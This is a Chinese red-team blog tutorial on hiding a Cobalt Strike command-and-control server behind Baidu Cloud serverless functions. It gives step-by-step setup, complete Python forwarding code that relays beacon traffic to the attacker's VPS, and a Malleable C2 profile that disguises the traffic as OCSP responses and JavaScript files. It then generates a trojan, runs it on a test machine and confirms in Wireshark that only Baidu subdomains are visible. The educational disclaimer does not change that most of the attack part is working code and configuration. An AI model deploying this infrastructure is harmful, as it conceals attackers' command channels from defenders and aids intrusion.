宇宙无敌免责
本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。
严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。
作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。
我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。
前言
在云厂商提供函数服务以后,基本上云函数都会被标记(封掉),所以对于安全防御做的特别好的单位用处基本不大;
以前可以使用腾讯云的云函数,但是下架了API网关触发的功能;然后华为云的函数服务小编也试了一下,貌似API触发器也g了,所以这里用百度云的云函数进行讲解。
一、云函数介绍
云函数是一种无服务器(Serverless)计算服务,开发者只需上传代码并设置触发条件,云平台负责自动分配资源、执行代码并按需收费。其核心特点是事件驱动和无服务器架构,用户无需管理底层服务器、操作系统或运维资源。 原理
事件触发:云函数通过事件(如HTTP请求、文件上传、数据库变更等)触发执行,用户预先将代码部署到云平台,并绑定事件源(如API网关、对象存储、消息队列等)。 资源分配:当事件发生时,云平台动态分配计算资源(如容器实例)加载代码运行,执行完毕后立即释放资源,避免闲置成本。 自动扩缩容:高并发时云函数自动复制多个实例并行处理请求,流量下降时自动缩减实例,实现弹性伸缩。 按需计费:根据实际执行的代码时长和内存消耗计费,而非预付费或固定服务器成本。
二、云函数在红队中的运用
云函数可以用于攻击防溯源,隐匿自己的C2的ip,从蓝队的角度来讲,会看到一个主机的联网行为会非常奇怪,这个主机会跟多个节点有反向连接,但节点是代理池的表现形式(比如多个ip,或者说是一个主域名的多个子域名); 从红队角度来讲就是隐藏,类似于域前置,相当于被攻击者控制的那台主机,通过代理池的表现形式(多节点)的方式回到了C2某个端口上; 也就是说可以利用云厂商提供的云函数功能,将客户端的请求进行转发,并且由于云函数拥有非常多的出口IP,所以一定程度上可以减小IP被封禁的影响,也能隐藏攻击者的源IP。 流量走向
三、通过云函数搭建代理池,隐藏C2地址(百度云举例)
登录百度云,使用函数计算服务
地址:https://cloud.baidu.com/product/cfc.html
创建函数-->空白函数
填写基础信息(选择Python3.6)
触发器设置:选择http触发器、URL路径填写 {path+}
,HTTP方法全选,然后点提交
点击进入代码编辑页
输入以下代码然后保存
# -*- coding: utf-8 -*-
# def handler(event, context):
# return "Hello World"
import json,requests,base64
def handler(event, context):
C2='https://VPS地址(C2服务端):443'# 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
#return event
return response
在CS客户端所在目录放置profile文件,并且启动时调用该profile文件(需要做以下修改)
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
创建监听器
HTTP地址在触发器这里输入云函数提供的域名(要把 https://
去掉,还要把末尾的/{path+}
也去掉)
注意:这里的Beacon类型和端口号要和前面云函数代码规定的 C2='https://VPS地址(C2服务端):443'
保持一致(此时为https协议,443端口)
此时生成木马,在测试机上执行上线
然后在测试机上通过wireshark抓取流量,由于恶意木马会从受害者本地解析云函数地址,因此DNS流量中可以看到云函数地址为百度的子域名而不是攻击者的ip
在科来分析工具上也能看到识别的不是攻击者VPS的ip
课程介绍链接:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3?singleDoc# 《课程介绍》
外部交流群(欢迎进群互相交流),由于群人数超过了200,只能邀请拉群,可以关注公众号,后台回复“加群”,获取助手绿泡泡,联系小助手邀请进群
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...